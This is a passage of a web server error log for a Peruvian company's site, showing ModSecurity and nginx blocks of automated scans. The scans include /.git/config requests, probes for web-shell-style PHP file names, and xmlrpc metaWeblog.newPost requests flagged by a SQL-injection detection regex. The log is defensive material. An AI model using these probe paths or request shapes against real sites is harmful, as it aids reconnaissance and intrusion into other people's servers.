2025] [:error] [pid 32306:tid 32365] [client 45.149.173.233:42070] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/10/16 01:09:23 [error] 32272#32272: *2746431 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 01:09:23 [error] 32272#32272: *2746432 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 01:34:57 [error] 32272#32272: *2747003 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 01:34:57 [error] 32271#32271: *2747004 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 02:08:09 [error] 32272#32272: *2747478 access forbidden by rule, client: 149.102.246.17, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 02:08:13 [error] 32272#32272: *2747481 access forbidden by rule, client: 149.102.246.17, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 10:38:45 [error] 9925#9925: *2757356 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/16 10:38:45 [error] 9924#9924: *2757357 access forbidden by rule, client: 138.197.91.114, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Thu Oct 16 12:38:23.662413 2025] [:error] [pid 10302:tid 10312] [client 34.146.25.109:43856] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Oct 16 15:39:51.272672 2025] [:error] [pid 10302:tid 10311] [client 173.252.107.16:50880] [client 173.252.107.16] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPFYF7kd_iLZq5ZHMFZrHgAAAMc"] [Thu Oct 16 19:04:08.711556 2025] [:error] [pid 9964:tid 10036] [client 38.196.250.140:57148] [client 38.196.250.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x74a90f2dde found within XML: metaWeblog.newPost11869518695title0x74a90f2ddescription0x74a90f2dmt_keywords0x74a90f2dmt_excerpt0x74a90f2d1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPGH-HwsuxnAkb35ORMuVAAAAJA"] [Thu Oct 16 19:05:06.418309 2025] [:error] [pid 10302:tid 10328] [client 169.224.104.252:57154] [client 169.224.104.252] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPGIMrkd_iLZq5ZHMFZtgwAAANg"] [Thu Oct 16 21:59:04.661803 2025] [:error] [pid 9964:tid 10043] [client 173.252.107.113:33592] [client 173.252.107.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPGw-HwsuxnAkb35ORMvpwAAAJc"] [Fri Oct 17 06:35:27.389107 2025] [:error] [pid 375:tid 393] [client 91.217.249.9:49784] File does not exist: /home/coldtecp/public_html/phpinfo.php [Fri Oct 17 06:35:28.758843 2025] [:error] [pid 375:tid 402] [client 45.86.202.231:49786] File does not exist: /home/coldtecp/public_html/test.php [Fri Oct 17 06:35:34.180216 2025] [:error] [pid 375:tid 400] [client 91.217.249.25:49794] File does not exist: /home/coldtecp/public_html/info.php [Fri Oct 17 06:35:35.442190 2025] [:error] [pid 32519:tid 32567] [client 45.86.202.250:49796] File does not exist: /home/coldtecp/public_html/i.php [Fri Oct 17 06:35:35.896252 2025] [:error] [pid 32520:tid 32590] [client 45.86.202.236:49798] File does not exist: /home/coldtecp/public_html/pi.php [Fri Oct 17 06:35:36.206193 2025] [:error] [pid 32519:tid 32552] [client 45.86.202.244:49800] File does not exist: /home/coldtecp/public_html/php.php 2025/10/17 13:54:32 [error] 32481#32481: *2785054 access forbidden by rule, client: 68.183.231.190, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/17 13:54:32 [error] 32482#32482: *2785053 access forbidden by rule, client: 68.183.231.190, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/10/17 13:54:32 [error] 32481#32481: *2785055 access forbidden by rule, client: 68.183.231.190, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/10/17 13:54:32 [error] 32481#32481: *2785057 access forbidden by rule, client: 68.183.231.190, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "www.coldtecperu.com" 2025/10/17 13:54:32 [error] 32481#32481: *2785058 access forbidden by rule, client: 68.183.231.190, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Fri Oct 17 14:24:01.295687 2025] [:error] [pid 32520:tid 32593] [client 173.252.87.20:59246] [client 173.252.87.20] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPKX0baUINboVPDhIBmhnQAAAJE"] [Fri Oct 17 20:35:05.018762 2025] [:error] [pid 375:tid 380] [client 173.252.82.10:42670] [client 173.252.82.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPLuyUTFpC-sxirVRnbmbQAAAMI"] 2025/10/18 09:25:57 [error] 32219#32219: *2809259 access forbidden by rule, client: 170.64.196.237, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/18 09:25:58 [error] 32219#32219: *2809260 access forbidden by rule, client: 170.64.196.237, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sat Oct 18 12:43:45.539647 2025] [:error] [pid 32254:tid 32264] [client 173.252.87.20:46266] [client 173.252.87.20] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPPR0RwPlaY2vIAiE7F4IgAAAAY"] [Sat Oct 18 12:59:03.359480 2025] [:error] [pid 32255:tid 32304] [client 103.135.228.96:46702] [client 103.135.228.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xa61143c4de found within XML: metaWeblog.newPost14965849658title0xa61143c4description0xa61143c4mt_keywords0xa61143c4mt_excerpt0xa61143c41"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPPVZ4oNOfr0T8TxId95_gAAAFI"] [Sat Oct 18 12:59:03.437291 2025] [:error] [pid 32255:tid 32298] [client 49.207.193.240:46704] [client 49.207.193.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xe18004d7de found within XML: metaWeblog.newPost14983049830title0xe18004d7description0xe18004d7mt_keywords0xe18004d7mt_excerpt0xe18004d71"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPPVZ4oNOfr0T8TxId95_wAAAEw"] [Sat Oct 18 14:16:11.639726 2025] [:error] [pid 32577:tid 32584] [client 38.114.123.26:48498] File does not exist: /home/coldtecp/public_html/app_dev.php [Sat Oct 18 18:59:10.348999 2025] [:error] [pid 32256:tid 32322] [client 173.252.87.18:52788] [client 173.252.87.18] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPQpzm9A3a3EZIBaw3SvFAAAAIo"] [Sat Oct 18 20:55:06.830858 2025] [:error] [pid 28925:tid 28933] [client 169.150.203.195:56126] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/10/19 00:15:45 [error] 28697#28697: *2824057 access forbidden by rule, client: 170.64.196.237, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/10/19 00:15:46 [error] 28696#28696: *2824058 access forbidden by rule, client: 170.64.196.237, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Oct 19 04:13:57.908103 2025] [:error] [pid 26345:tid 26401] [client 103.186.31.45:39370] File does not exist: /home/coldtecp/public_html/style.php [Sun Oct 19 04:14:02.010198 2025] [:error] [pid 26867:tid 26871] [client 103.186.31.45:39380] File does not exist: /home/coldtecp/public_html/chosen.php [Sun Oct 19 04:14:03.369126 2025] [:error] [pid 26346:tid 26414] [client 103.186.31.45:39382] File does not exist: /home/coldtecp/public_html/file.php [Sun Oct 19 04:14:04.053461 2025] [:error] [pid 26347:tid 26359] [client 103.186.31.45:39384] File does not exist: /home/coldtecp/public_html/wp-editor.php [Sun Oct 19 04:14:04.332714 2025] [:error] [pid 26867:tid 26893] [client 103.186.31.45:39386] File does not exist: /home/coldtecp/public_html/fix.php [Sun Oct 19 04:14:04.830724 2025] [:error] [pid 26867:tid 26874] [client 103.186.31.45:39388] File does not exist: /home/coldtecp/public_html/flower.php [Sun Oct 19 04:14:05.163649 2025] [:error] [pid 26867:tid 26877] [client 103.186.31.45:39390] File does not exist: /home/coldtecp/public_html/gifclass.php [Sun Oct 19 04:14:05.708246 2025] [:error] [pid 26347:tid 26354] [client 103.186.31.45:39392] File does not exist: /home/coldtecp/public_html/bless.php [Sun Oct 19 04:14:06.262685 2025] [:error] [pid 26346:tid 26412] [client 103.186.31.45:39394] File does not exist: /home/coldtecp/public_html/akcc.php [Sun Oct 19 04:14:07.012160 2025] [:error] [pid 26867:tid 26878] [client 103.186.31.45:39396] File does not exist: /home/coldtecp/public_html/abcd.php [Sun Oct 19 04:14:07.326844 2025] [:error] [pid 26867:tid 26881] [client 103.186.31.45:39398] File does not exist: /home/coldtecp/public_html/asas.php [Sun Oct 19 04:14:08.390987 2025] [:error] [pid 26346:tid 26408] [client 103.186.31.45:39400] File does not exist: /home/coldtecp/public_html/ss.php [Sun Oct 19 11:18:03.982149 2025] [:error] [pid 26867:tid 26873] [client 173.252.95.12:48776] [client 173.252.95.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPUPO9Aanf6mchbXzRsiSAAAAMQ"] [Sun Oct 19 17:28:14.445765 2025] [:error] [pid 26345:tid 26401] [client 201.42.215.196:58424] [client 201.42.215.196] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xf5414261de found within XML: metaWeblog.newPost19796597965title0xf5414261description0xf5414261mt_keywords0xf5414261mt_excerpt0xf54142611"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aPVl_pvnk2yEglH36b8HMwAAABg"] [Mon Oct 20 01:36:43.560372 2025] [:error] [pid 26346:tid 26418] [client 103.186.31.45:44640] File does not exist: /home/coldtecp/public_html/style.php [Mon Oct 20 01:36:47.161125 2025] [:error] [pid 26347:tid 26357] [client 103.186.31.45:44654] File does not exist: /home/coldtecp/public_html/chosen.php [Mon Oct 20 01:36:47.393368 2025] [:error] [pid 26867:tid 26872] [client 103.186.31.45:44656] File does not exist: /home/coldtecp/public_html/file.php [Mon Oct 20 01:36:47.971472 2025] [:error] [pid 26867:tid 26892] [client 103.186.31.45:44662] File does not exist: /home/coldtecp/public_html/wp-editor.php [Mon Oct 20 01:36:48.441988 2025] [:error] [pid 26347:tid 26375] [client 103.186.31.45:44672] File does not exist: /home/coldtecp/public_html/fix.php [Mon Oct 20 01:36:49.319374 2025] [:error] [pid 26345:tid 26390] [client 103.186.31.45:44678] File does not exist: /home/coldtecp/public_html/flower.php [Mon Oct 20 01:36:50.009458 2025] [:error] [pid 26345:tid 26395] [client 103.186.31.45:44680] File does not exist: /home/coldtecp/public_html/gifclass.php [Mon Oct 20 01:36:50.347948 2025] [:error] [pid 26345:tid 26387] [client 103.186.31.45:44682] File does not exist: /home/coldtecp/public_html/bless.php [Mon Oct 20 01:36:51.480465 2025] [:error] [pid 26345:tid 26397] [client 103.186.31.45:44684] File does not exist: /home/coldtecp/public_html/akcc.php [Mon Oct 20 01:36:52.549278 2025] [:error] [pid 26867:tid 26893] [client 103.186.31.45:44686] File does not exist: /home/coldtecp/public_html/abcd.php [Mon Oct 20 01:36:53.521974 2025] [:error] [pid 26345:tid 26393] [client 103.186.31.45:44700] File does not exist: /home/coldtecp/public_html/asas.php [Mon Oct 20 01:36:54.373668 2025] [:error] [pid 26346:tid 26419] [client 103.186.31.45:44706] File does not exist: /home/coldtecp/public_html/ss.php [Mon Oct 20 09:34:09.215270 2025] [:error] [pid 23435:tid 23505] [client 173.252.87.115:43204] [client 173.252.87.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aPZIYXfV2Q2Lcvnu0roL-QAAAI8"] [Mon Oct 20 12:41:33.909316 2025] [:error] [pid 23759:tid 23780] [client 132.191.1.192:47548] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TUSMSxP1wHKiETCWIgAAANM"] [Mon Oct 20 12:41:34.057903 2025] [:error] [pid 23435:tid 23502] [client 132.191.1.192:47550] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TnfV2Q2Lcvnu0roMtAAAAI0"] [Mon Oct 20 12:41:34.189312 2025] [:error] [pid 23759:tid 23764] [client 132.191.1.192:47552] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TkSMSxP1wHKiETCWIwAAAMM"] [Mon Oct 20 12:41:34.320705 2025] [:error] [pid 23759:tid 23774] [client 132.191.1.192:47554] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TkSMSxP1wHKiETCWJAAAAM0"] [Mon Oct 20 12:41:34.490011 2025] [:error] [pid 23759:tid 23775] [client 132.191.1.192:47556] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TkSMSxP1wHKiETCWJQAAAM4"] [Mon Oct 20 12:41:34.618170 2025] [:error] [pid 23759:tid 23776] [client 132.191.1.192:47558] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TkSMSxP1wHKiETCWJgAAAM8"] [Mon Oct 20 12:41:34.748054 2025] [:error] [pid 23759:tid 23767] [client 132.191.1.192:47560] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0TkSMSxP1wHKiETCWJwAAAMY"] [Mon Oct 20 12:41:34.880443 2025] [:error] [pid 23433:tid 23504] [client 132.191.1.192:47562] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0Tq--rz3VGM6LVcfmcQAAABg"] [Mon Oct 20 12:41:35.000327 2025] [:error] [pid 23433:tid 23496] [client 132.191.1.192:47564] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0Tq--rz3VGM6LVcfmcgAAABU"] [Mon Oct 20 12:41:35.130363 2025] [:error] [pid 23433:tid 23499] [client 132.191.1.192:47566] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T6--rz3VGM6LVcfmcwAAABY"] [Mon Oct 20 12:41:35.260339 2025] [:error] [pid 23435:tid 23488] [client 132.191.1.192:47568] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T3fV2Q2Lcvnu0roMtQAAAIU"] [Mon Oct 20 12:41:35.389973 2025] [:error] [pid 23435:tid 23505] [client 132.191.1.192:47570] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T3fV2Q2Lcvnu0roMtgAAAI8"] [Mon Oct 20 12:41:35.520066 2025] [:error] [pid 23435:tid 23508] [client 132.191.1.192:47572] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T3fV2Q2Lcvnu0roMtwAAAJE"] [Mon Oct 20 12:41:35.690253 2025] [:error] [pid 23435:tid 23513] [client 132.191.1.192:47574] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/"] [unique_id "aPZ0T3fV2Q2Lcvnu0roMuAAAAJY"] [Mon Oct 20 12:41:35.838073 2025] [:error] [pid 23434:tid 23453] [client 132.191.1.192:47576] [client 132.191.1.192] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-307199"] [severity 